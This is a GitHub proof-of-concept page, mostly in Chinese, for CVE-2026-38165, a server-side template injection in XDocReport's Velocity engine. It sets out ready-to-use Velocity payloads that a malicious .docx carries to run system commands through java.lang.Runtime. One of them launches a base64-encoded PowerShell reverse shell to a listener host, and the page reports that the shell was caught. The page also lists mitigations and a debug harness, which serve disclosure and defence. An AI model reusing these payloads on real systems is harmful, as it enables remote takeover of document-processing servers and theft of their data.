AT190510-Cuong/CVE-2026-38165-SSTI-
GitHub: AT190510-Cuong/CVE-2026-38165-SSTI-
这是一个针对 XDocReport 中 Velocity 模板注入漏洞(CVE-2026-38165)的 PoC 仓库,展示了通过上传恶意 DOCX 文件实现远程代码执行的攻击链。
Stars: 0 | Forks: 0
# CVE-2026-38165 (SSTI Velocity)
# XDocReport 中的服务端模板注入 (SSTI) 漏洞允许通过 Apache Velocity 引擎执行远程代码
## 漏洞定义
漏洞概述
- 服务端模板注入 (SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到内容管理系统 (CMS) 和 Web 框架使用的模板中,旨在发起远程攻击、获取敏感信息或执行入侵系统的活动。
- SSTI 是注入漏洞(如 SQL Injection、XSS 等)的一种变体,黑客利用模板系统来实现远程恶意代码部署。当 SSTI 攻击成功执行时,黑客可以在服务端服务器上执行自己的代码,使他们能够发起远程攻击,例如收集敏感信息、执行系统入侵活动以及访问未经授权的资源。
- SSTI 漏洞通常是由于使用了不安全的模板系统,或者在将输入参数插入模板之前未对其进行检查和处理而引起的。如果 SSTI 攻击成功执行,后果可能非常严重,并给受攻击的组织造成巨大损失。
业务影响
- SSTI 漏洞可能导致许多严重后果,包括:
- 执行恶意代码:攻击者可以利用此漏洞在服务器上执行恶意代码,从而使攻击者能够窃取数据、在系统上执行非法操作,甚至完全控制服务器。
- 泄露敏感信息:SSTI 可能允许攻击者读取、更改或删除服务器上的文件。如果这些文件包含敏感信息(如账号和密码),攻击者可以轻易地泄露这些信息。
- 威胁或欺骗用户的攻击:攻击者可以利用 SSTI 进行威胁或欺骗用户的攻击,方法是通过更改网站内容或添加伪造的自定义按钮。如果用户点击这些按钮,攻击者可能会窃取用户信息或在他们的计算机上安装恶意软件。
## 严重程度 CRITICAL

## 描述与影响
fr.opensagres.xdocreport.template.velocity
在 OpenSAGRES XDocReport 使用 velocity 引擎处理 DOCX 模板时发现了一个服务端模板注入 (SSTI) 漏洞。在某些配置下,精心构造的模板会导致远程代码执行 (RCE)。
人事管理网站允许用户向系统上传 ``.docx`` 文档文件。在处理过程中,应用程序使用 velocity 模板引擎(位于文件中)来渲染内容,而没有对输入内容进行任何控制或过滤机制。
该漏洞允许攻击者将恶意表达式注入到 .docx 文件(模板)中,从而导致服务器上的远程代码执行 (RCE),并可能被利用来窃取信息或夺取系统控制权。
## 受影响组件
fr.opensagres.xdocreport.template.velocity — XDocReport (versions =< 2.1.0).
## 根本原因分析
`https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java`

velocityEngine.evaluate(...) 是 Apache Velocity 的标准/“默认”方法,用于使用 Context 从 Reader(或从 String)评估(evaluate)模板并写入 Writer。它执行 VTL (Velocity Template Language) 语法,与 Template.merge(...) 相同
### evaluate 与 Template.merge 的实际区别
- evaluate:从 Reader/String 解析 -> 当模板是 dynamic/untrusted 时很方便。
- getTemplate(...).merge(...):加载已被 resource loader 处理过的模板(caching、encoding 等),然后 merge。就执行 VTL 的能力而言,两者执行的表达式相同;区别主要在于加载模板的位置/模式。
## 复现步骤
1. 用户上传内部包含以下 payload 的 ``.docx`` 文件:

```
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result
```

2. 发现系统命令成功执行

3. 与以下 payload 类似:
```
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result
```



4. 类似地
```
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result
```


5. 将影响提升至 RCE
- 监听机器是 wsl,ip 地址为 `172.26.208.130`

- 使用以下 payload 进行利用:
```
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result
```

- 将 ``.docx`` 文件交由 xdocreport 处理

- 发现 wsl 机器上捕获到了返回的 shell

## 解决方案
- https://github.com/opensagres/xdocreport/pull/723
### 阻止在模板中进行危险的 reflection 访问。
```
velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
```
Apache Velocity 的 SecureUberspector 类是一个 sandbox introspector。
SecureUberspector 将 block:
- java.lang.Runtime
- java.lang.ClassLoader
- java.lang.Process
### 被阻止的 class 列表
```
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
```
### 阻止 package reflection
```
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
```
Block:
- java.lang.reflect.Method
- java.lang.reflect.Field
## 配置 debug 环境
- 在 Main.java 文件中
```
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng Velocity
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
```
- 需要导入的库
```
4.0.0
org.example
vcs1
1.0-SNAPSHOT
18
18
UTF-8
fr.opensagres.xdocreport
fr.opensagres.xdocreport.template.freemarker
2.1.0
fr.opensagres.xdocreport
fr.opensagres.xdocreport.template.velocity
2.1.0
fr.opensagres.xdocreport
fr.opensagres.xdocreport.document.docx
2.0.3
```
## Debug 分析 source sink
- report.process(context, out) — 这是模板被渲染/写入文件的点















## 文档
- https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link
标签:Apache Velocity, CVE-2026-38165, Go语言工具, JS文件枚举, SSTI, XDocReport, 编程工具, 远程代码执行